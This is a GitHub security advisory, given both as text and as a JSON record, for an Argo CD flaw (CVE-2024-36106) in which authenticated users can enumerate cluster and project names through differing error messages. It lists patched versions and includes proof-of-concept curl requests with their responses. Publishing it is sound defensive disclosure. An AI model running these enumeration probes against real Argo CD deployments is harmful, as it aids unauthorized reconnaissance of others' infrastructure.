ghsa-3cqf-953p-h5cp
Vulnerability from github
Published
2024-06-06 19:04
Modified
2024-06-06 19:04
Summary
Argo-cd authenticated users can enumerate clusters by name
Details

Impact

It’s possible for authenticated users to enumerate clusters by name by inspecting error messages:

``` $ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎

$ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati on: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"} ```

It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters. ``` curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"}

curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"} ```

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.3 v2.10.12 v2.9.17

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

Show details on source website


{
   affected: [
      {
         package: {
            ecosystem: "Go",
            name: "github.com/argoproj/argo-cd",
         },
         ranges: [
            {
               events: [
                  {
                     introduced: "0.11.0",
                  },
                  {
                     fixed: "2.9.17",
                  },
               ],
               type: "ECOSYSTEM",
            },
         ],
      },
      {
         package: {
            ecosystem: "Go",
            name: "github.com/argoproj/argo-cd",
         },
         ranges: [
            {
               events: [
                  {
                     introduced: "2.10.0",
                  },
                  {
                     fixed: "2.10.12",
                  },
               ],
               type: "ECOSYSTEM",
            },
         ],
      },
      {
         package: {
            ecosystem: "Go",
            name: "github.com/argoproj/argo-cd",
         },
         ranges: [
            {
               events: [
                  {
                     introduced: "2.11.0",
                  },
                  {
                     fixed: "2.11.3",
                  },
               ],
               type: "ECOSYSTEM",
            },
         ],
      },
   ],
   aliases: [
      "CVE-2024-36106",
   ],
   database_specific: {
      cwe_ids: [
         "CWE-209",
      ],
      github_reviewed: true,
      github_reviewed_at: "2024-06-06T19:04:54Z",
      nvd_published_at: "2024-06-06T15:15:45Z",
      severity: "MODERATE",
   },
   details: "### Impact\nIt’s possible for authenticated users to enumerate clusters by name by inspecting error messages:\n\n```\n$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H \"Authorization: \nBearer $token\"\n{\"error\":\"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z\",\"code\":7,\"message\":\"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z\"}⏎                                 \n                                   \n$ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H \"Authorizati\non: Bearer $token\"\n{\"error\":\"permission denied\",\"code\":7,\"message\":\"permission denied\"}\n```\n\nIt’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters.\n```\ncurl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H \"Authorization: Bearer $token\"\n{\"error\":\"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z\",\"code\":7,\"message\":\"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z\"}\n\ncurl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H \"Authorization: Bearer $token\"\n{\"error\":\"permission denied\",\"code\":7,\"message\":\"permission denied\"}\n```\n\n### Patches\nA patch for this vulnerability has been released in the following Argo CD versions:\n\nv2.11.3\nv2.10.12\nv2.9.17\n\n### For more information\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\nJoin us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\nCredits\nThis vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)\n\nThe Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue\n",
   id: "GHSA-3cqf-953p-h5cp",
   modified: "2024-06-06T19:04:54Z",
   published: "2024-06-06T19:04:54Z",
   references: [
      {
         type: "WEB",
         url: "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3cqf-953p-h5cp",
      },
      {
         type: "ADVISORY",
         url: "https://nvd.nist.gov/vuln/detail/CVE-2024-36106",
      },
      {
         type: "WEB",
         url: "https://github.com/argoproj/argo-cd/commit/c2647055c261a550e5da075793260f6524e65ad9",
      },
      {
         type: "PACKAGE",
         url: "https://github.com/argoproj/argo-cd",
      },
   ],
   schema_version: "1.4.0",
   severity: [
      {
         score: "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
         type: "CVSS_V3",
      },
   ],
   summary: "Argo-cd authenticated users can enumerate clusters by name",
}


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